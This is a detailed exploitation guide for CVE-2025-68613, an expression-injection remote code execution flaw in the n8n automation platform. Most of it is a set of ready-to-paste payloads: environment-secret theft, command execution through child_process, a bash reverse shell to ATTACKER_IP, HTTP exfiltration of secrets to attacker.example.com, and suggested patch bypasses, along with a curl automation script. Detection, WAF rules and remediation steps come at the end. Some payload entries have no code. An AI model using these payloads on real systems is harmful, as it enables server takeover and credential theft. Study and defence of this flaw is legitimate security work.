n8n CVE-2025-68613 RCE Exploitation: A Detailed Guide  

A critical flaw (CVE-2025-68613, CVSS 9.9) in n8n allows remote code execution through expression injection, risking full system compromise and requiring immediate patching. 

 At that point, the compromise is no longer limited to workflows or jobs. It becomes a server-level problem.

This is risky because n8n is commonly deployed with access to internal APIs, cloud accounts, and automation credentials that are trusted by default. 

The main objective of this guide is to provide a brief idea of the vulnerability, how attackers can exploit this flaw, and how security teams can detect and fix it.

Executive Summary

CVE-2025-68613 (n8n): Severity, Scope, and Impact

Before diving into exploitation mechanics and mitigation steps, it’s important to understand the basic profile of the vulnerability. Here is a brief snapshot: 

• CVE ID: CVE-2025-68613
• Severity: Critical (CVSS score of 9.9)
• Affected Versions: n8n versions from v0.211.0 through v1.120.3
• Patched Versions: Fixed in v1.120.4, v1.121.1, v1.122.0 and later
• Attack Vector: Network-based attack requiring authentication
• Privileges Required: Low  (any authenticated user can trigger exploitation)
• User Interaction: Not required
• Impact: Successful exploitation results in full remote code execution and complete system compromise.

What Can Attackers Do?

Once exploited, this flaw gives attackers broad control over the system:

• Execute arbitrary system commands: Run operating system commands under the n8n process account, giving control over the host and anything it can reach on the network.
  
• Read/write any file on the server: Access and modify configuration files, logs, keys, and application data, or place files on disk to establish persistence.
  
• Steal secrets and database credentials: Extract environment variables, API keys, database passwords, cloud credentials, and other secrets used by internal and third-party systems.
  
• Install backdoors: Deploy cron jobs, malicious binaries, reverse shells, or altered startup scripts to maintain long-term access.
  
• Pivot to other systems: Move laterally into connected databases, internal APIs, CI/CD pipelines, and cloud infrastructure using trusted workflows and stolen credentials.

CVE-2025-68613: Understanding the Vulnerability

This vulnerability exists because the robot doesn’t stop to question whether an instruction is unsafe before acting on it.

Normal use:

User: “Hey n8n, calculate 2 + 2”
n8n: “Result is 4” (Safe)

Exploit

User: “Hey n8n, calculate this: {{ (function() { return ‘secret data’; })() }}”
n8n: “Here’s your secret data” (Dangerous)

In this case, n8n blindly executes the embedded instruction instead of rejecting it. That is the core issue.

Technical Explanation

n8n allows JavaScript expressions inside workflows. These expressions are wrapped in {{ }} and are evaluated server-side using Node.js.

The Problem:

• n8n didn’t properly isolate the JavaScript execution environment
• User expressions could access the global ‘this’ context
• In Node.js, ‘this’ contains ‘process.mainModule.require’
• This allows loading any Node.js module (like `child_process` for command execution)

Because of this, user input is executed with far more trust than it should have, leading directly to remote code execution.

Code Flow:

1. User input is first passed into an n8n workflow. When the input is wrapped in {{ }}, n8n interprets it as a JavaScript expression rather than plain data.
2. This expression is evaluated on the server using Node.js. At this stage, it is assumed to run in a restricted execution context.
3. The problem is this restriction is ineffective. During execution, the expression can access the global this object.
4. In a Node.js environment, access to this exposes the running process. This makes sensitive runtime objects reachable and allows system modules to be loaded.
5. Now, the attacker can execute system commands and interact directly with the underlying host.

Exploitation Model

Exploitation Impact Chain

Here is the exploitation impact chain: 

Exploitation Requirements

• Authentication: The attacker logs in using any valid n8n account, even one with minimal privileges.
• Permissions: The attacker can create or modify workflows within the platform.
• Network access: The attacker can reach the n8n instance over the network.
• Execution: The attacker runs or tests the workflow to trigger the payload.

Attack Scenarios

Scenario 1: External Attacker

• Register a free account if public sign-ups are enabled.
• Create a workflow that embeds the malicious payload.
• Execute the workflow to extract credentials.
• Use the stolen credentials to access connected databases or APIs.

Scenario 2: Insider Threat

• Acquire access to n8n as a low-privilege employee.
• Create a workflow that appears to serve a legitimate task.
• Inject an RCE payload into an expression within the workflow.
• Exfiltrate company secrets using the compromised workflow.

Scenario 3: Supply Chain Attack

• Import a third-party workflow template. 
• The template contains hidden malicious expressions. 
• Workflow is executed. 
• The system gets compromised. 

Vulnerable Routes & API Endpoints

This issue arises wherever n8n evaluates expressions including user input. Since these expressions run on the server, attackers can trigger the vulnerability using different interfaces and API endpoints.

Where Can This Vulnerability Be Exploited?

n8n expressions can be injected in several places across the platform, including the web interface, REST APIs, and webhook-triggered workflows.

1. Workflow Editor (Web UI)

URL: https://n8n.example.com/workflow/new

Any workflow node that accepts expressions can be abused, including:

• Code nodes
• Function nodes
• Set nodes
• IF nodes
• Expression fields in any node

Example vulnerable flow:

https://n8n.example.com/workflow/new

• Add “Set” node
•  In “Value” field enter: {{ malicious_payload }}
• Execute workflow

2. REST API – Create Workflow

Endpoint: POST /rest/workflows
URL: https://n8n.example.com/rest/workflows

Vulnerable Parameter: nodes[].parameters (any expression field)

Example request:

3. REST API – Update Workflow

Endpoint: PUT /rest/workflows/:id

URL: https://n8n.example.com/rest/workflows/123

This endpoint is vulnerable for the same reason as the workflow creation endpoint.

4. REST API – Execute Workflow

Endpoint: POST /rest/workflows/:id/execute

URL: https://n8n.example.com/rest/workflows/123/execute

Triggers existing malicious workflows.

5. Webhook Endpoints

URL: https://n8n.example.com/webhook/your-webhook-id

This applies when a workflow uses webhook triggers that process incoming data through expressions.

6. Test Execution in Editor

URL: https://n8n.example.com/workflow/123

Clicking “Execute Workflow” or “Test Step” buttons.

Quick URL Testing Examples

Test 1: Check if Server is Vulnerable (Safe Recon)

https://n8n.example.com/workflow/new

• Create a new workflow. 
• Add the “Set” node. 
• In “Value” field enter: `{{ $version }}`
• Execute workflow. 
• If the version is visible and expressions are enabled, the instance may be vulnerable.

Test 2: Environment Variable Disclosure

Create workflow with this in any expression field:

{{ (function() { return this.process.env; })() }}

Execute at:

https://n8n.example.com/workflow/YOUR_WORKFLOW_ID?execute=true

Test 3: Command Execution Test

{{ (function() {
var require = this.process.mainModule.require;
var execSync = require('child_process').execSync;
return execSync('whoami').toString();
})() }}

Quick Testing Guide (Validation)

This section provides a fast, repeatable way to verify whether an n8n instance is vulnerable or patched.

For Pentesters: 5-Minute Vulnerability Check

Step 1: Get Access

1. Register account at: https://n8n.example.com/signup. 

  OR

2. Login at: https://n8n.example.com/sign-in. 

Step 2: Create Test Workflow

1. Navigate to: https://n8n.example.com/workflow/new. 

2. Click “+ Add Node”. 

3. Search for “Set” nodes. 

4. Click to add it.

Step 3: Inject Payload

1. In the “Set” node configuration

2. Click the “Add Value”. 

3. Select “String”. 

4. Name: “test”. 

5. Value: {{ (function() { return this.process.env; })() }}. 

6. Click the “Execute Node” button.

Step 4: Verify Exploitation

• If you see environment variables – VULNERABLE
• If you see empty object {} – PATCHED

Automated Testing Script

This script automates workflow creation, execution, validation, and cleanup.

Save as `test_n8n_vuln.sh`:

#!/bin/bash

N8N_URL="https://n8n.example.com"
API_KEY="your_api_key_here"

echo "[*] Testing n8n for CVE-2025-68613..."

# Create test workflow
RESPONSE=$(curl -s -X POST "$N8N_URL/rest/workflows" \
 -H "Content-Type: application/json" \
 -H "X-N8N-API-KEY: $API_KEY" \
 -d '{
   "name": "CVE-2025-68613 Test",
   "active": false,
   "nodes": [{
 	"name": "Start",
 	"type": "n8n-nodes-base.start",
 	"position": [250, 300],
 	"parameters": {}
   }, {
 	"name": "Exploit Test",
 	"type": "n8n-nodes-base.set",
 	"position": [450, 300],
 	"parameters": {
   	"values": {
     	"string": [{
       	"name": "vuln_check",
       	"value": "={{ (function() { return this.process.env; })() }}"
     	}]
   	}
 	}
   }],
   "connections": {
 	"Start": {
   	"main": [[{"node": "Exploit Test", "type": "main", "index": 0}]]
 	}
   }
 }')

WORKFLOW_ID=$(echo $RESPONSE | jq -r '.id')
echo "[+] Created workflow ID: $WORKFLOW_ID"

# Execute workflow
EXEC_RESPONSE=$(curl -s -X POST "$N8N_URL/rest/workflows/$WORKFLOW_ID/execute" \
 -H "X-N8N-API-KEY: $API_KEY")

echo "[*] Execution result:"
echo $EXEC_RESPONSE | jq '.'

# Check for vulnerability
if echo $EXEC_RESPONSE | grep -q "DATABASE\|API_KEY\|PASSWORD"; then
 echo "[!!!] VULNERABLE - Environment variables exposed!"
 echo "[!!!] CVE-2025-68613 confirmed"
else
 echo "[+] Not vulnerable or patched"
fi

# Cleanup
curl -s -X DELETE "$N8N_URL/rest/workflows/$WORKFLOW_ID" \
 -H "X-N8N-API-KEY: $API_KEY"
echo "[*] Cleanup complete"

Usage:

chmod +x test_n8n_vuln.sh
./test_n8n_vuln.sh

Exploitation Payloads

Understanding Payload Structure

All n8n expression payloads follow this pattern:
{{ JavaScript_Code_Here }}

The `{{ }}` brackets tell n8n “evaluate this as a JavaScript expression”.

Payload 1: Basic Process Access via IIFE

What it does: Returns the Node.js `process` object (proof of vulnerability)

Difficulty: Beginner
Risk Level: Info Disclosure

Where to Inject

URL: https://n8n.example.com/workflow/new
Node: Any “Set” node
Field: Value field

{{ (function() { return this.process; })() }}

Expected Result

{ 
"pid": 12345, 
"platform": "linux", 
"version": "v18.16.0", 
... 
}

Why This Matters: Proves you can access Node.js internals through expressions.

Testing via curl:

# Create workflow with this payload
curl -X POST https://n8n.example.com/rest/workflows \
 -H "Content-Type: application/json" \
 -H "X-N8N-API-KEY: YOUR_API_KEY" \
 -d @- <<'EOF'
{
 "name": "Test Process Access",
 "active": false,
 "nodes": [{
   "name": "Start",
   "type": "n8n-nodes-base.start",
   "position": [250, 300]
 }, {
   "name": "Check Process",
   "type": "n8n-nodes-base.set",
   "position": [450, 300],
   "parameters": {
 	"values": {
   	"string": [{
     	"name": "process_info",
     	"value": "={{ (function() { return this.process; })() }}"
   	}]
 	}
   }
 }],
 "connections": {
   "Start": {
 	"main": [[{"node": "Check Process", "type": "main", "index": 0}]]
   }
 }
}
EOF

Payload 2: Environment Variable Exfiltration

What it does: Steals all environment variables (API keys, database passwords, secrets)

Difficulty: Beginner
Risk Level: Critical

Where to Inject

URL: https://n8n.example.com/workflow/new
Node: “Set” or “Code” node
Field: Any expression field

{{ (function() { return this.process.env; })() }}

Expected Result

{
 "DATABASE_PASSWORD": "supersecret123",
 "AWS_ACCESS_KEY": "AKIA...",
 "STRIPE_SECRET_KEY": "sk_live_...",
 "SMTP_PASSWORD": "email_pass",
 ...
}

Payload 3: Remote Code Execution – whoami

What it does: Executes the `whoami` command to see which user n8n runs as

Difficulty: Intermediate
Risk Level: Critical

Where to inject:

URL: https://n8n.example.com/workflow/new
Node: “Code” or “Set” node
Field: Expression field

{{ (function() {
 var require = this.process.mainModule.require;
 var execSync = require('child_process').execSync;
 return execSync('whoami').toString();
})() }}

Expected Result

n8n_user

or

root

Why this matters: If this returns root, it confirms that system commands are executing with full privileges.

Step-by-step attack:

• Go to: https://n8n.example.com/workflow/new. 
• Add the “Set” node. 
• Next, in the “Value” field, paste the payload above. 
• Now, click the “Execute Node” button. 
• Finally, check output and you will see the username.

Payload 4: Read Sensitive Files

What it does: Reads any file on the system (demonstrates file access). 

Difficulty: Intermediate
Risk Level: Critical

Where to inject:

URL: https://n8n.example.com/workflow/new

Impact: Sensitive data exfiltration

Payload 5: Using Array Callback Method

Impact: Alternative exploitation path

Payload 6: Constructor Chain Attack (Alternative Method)

{{ (function() {

 return this.constructor.constructor('return process')();

})() }}

Expected Result: Access process via Function constructor

Impact: Bypasses some basic sandboxing attempts. 

Payload 7: Reverse Shell Payload

{{ (function() {
 var require = this.process.mainModule.require;
 var exec = require('child_process').exec;
 exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
 return 'Reverse shell initiated';
})() }}

Expected Result: Establishes reverse shell connection

Impact: Persistent remote access

Payload 8: Data Exfiltration via HTTP

{{ (function() {
 var require = this.process.mainModule.require;
 var https = require('https');
 var data = JSON.stringify(this.process.env);

 var options = {
   hostname: 'attacker.example.com',
   port: 443,
   path: '/exfil',
   method: 'POST',
   headers: {
 	'Content-Type': 'application/json',
 	'Content-Length': data.length
   }
 };

 var req = https.request(options);
 req.write(data);
 req.end();

 return 'Data exfiltrated';
})() }}

Expected Result: Sends environment variables to attacker server

Impact: Stealth credential exfiltration

Payload 9: Accessing Internal Modules via process.binding()

{{ (function() {
 var binding = this.process.binding;
 return binding('fs');
})() }}

Expected Result: Access to internal Node.js bindings

Impact: Deeper system access, bypassing some protections

Payload 10: Loading Native Modules

{{ (function() {
 var require = this.process.mainModule.require;
 var Module = require('module');
 return Module._load('child_process');
})() }}

Expected Result: Access to _load internal function

Impact: Alternative module loading path

Detection Indicators

Security teams should flag workflows or logs containing:

• Workflow expressions containing `this.process`
• Use of `mainModule.require`
• References to `child_process`, `fs`, or other system modules
• Function expressions with unusual patterns
• Expressions containing `binding`, `_load`, or `constructor.constructor`

Detection and Remediation

How Security Teams Can Detect Abuse

1. Check n8n Version

# SSH into n8n server
n8n --version

# OR via Docker
docker exec <container> n8n --version

Vulnerable versions: v0.211.0 – v1.120.3

2. Audit Existing Workflows

Search for suspicious patterns in workflow JSON:

# Search for potential exploitation patterns
grep -r "this.process" /path/to/n8n/workflows/
grep -r "mainModule.require" /path/to/n8n/workflows/
grep -r "child_process" /path/to/n8n/workflows/
grep -r "binding(" /path/to/n8n/workflows/
grep -r "_load(" /path/to/n8n/workflows/

3. Monitor n8n Logs

Here you should look for:

• Unusual system command executions
• Network connections from n8n process
• File access to sensitive paths
• Failed expression evaluations (might indicate exploit attempts)

4. Network Monitoring

Watch for:

• Outbound connections to unknown IPs
• Data exfiltration (large POST requests)
• Reverse shell connections

Immediate Remediation Options

Option 1: Upgrade (Recommended)

For npm installations
npm install -g n8n@latest

For Docker
docker pull n8nio/n8n:latest
docker-compose down
docker-compose up -d

Verify version
n8n –version
Should show: 1.122.0 or higher

Option 2: Temporary Mitigation (Until Upgrade)

1. Restrict workflow editing to TRUSTED users only. 
2. Disable user registration. 
3. Audit all existing workflows. 
4. Run n8n with minimal OS privileges (non-root user). 
5. Use network segmentation to limit damage. 
6. Enable comprehensive logging.

Option 3: WAF Rules (Defense in Depth)

Block requests containing:

• “this.process”
• “mainModule.require”
• “child_process”
• “process.binding”
• “Module._load”

Note: WAF rules alone are not sufficient protection

Patch and Post-Fix Analysis

This section explains what the official fix changes, what it blocks, and which techniques may still be explored by attackers attempting to bypass protections.

What the Patch Blocks

After applying the patch with FunctionThisSanitizer:

// BEFORE PATCH:
(function() { return this.process; })()
// → Returns actual Node.js process object

// AFTER PATCH:
(function() { return this.process; }).call({ process: {} })
// → Returns empty object: {}

Potential Bypass Attempts (Post-Patch)

Bypass 1: Arrow Functions (May not be sanitized)

{{ (() => this.process)() }}

Bypass 2: Accessing Global via Other Methods

{{ (function() { return global.process; })() }}

Bypass 3: Using eval (if available)

{{ eval(‘process’) }}

Bypass 4: Symbol.for Access

{{ Object.getOwnPropertySymbols(this) }}

Final Thoughts 

CVE-2025-68613 shows how quickly automation can turn into risk. n8n simplifies workflows and integrations. But when those workflows run code and access secrets, weak boundaries become a concern.  A low-privilege account can escalate to full system access faster than most teams expect.

For teams using n8n, the priority is straightforward: patch immediately, audit existing workflows, restrict edit access, and treat workflows with the same security discipline as code. 

Further Reading

https://github.com/n8n-io/n8n/security/advisories

https://docs.n8n.io

https://docs.n8n.io/hosting/configuration/security

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

https://nodejs.org/en/docs/guides/security

https://github.com/eslint/eslint

Credits

https://github.com/fatihhcelik (Reporter of this RCE)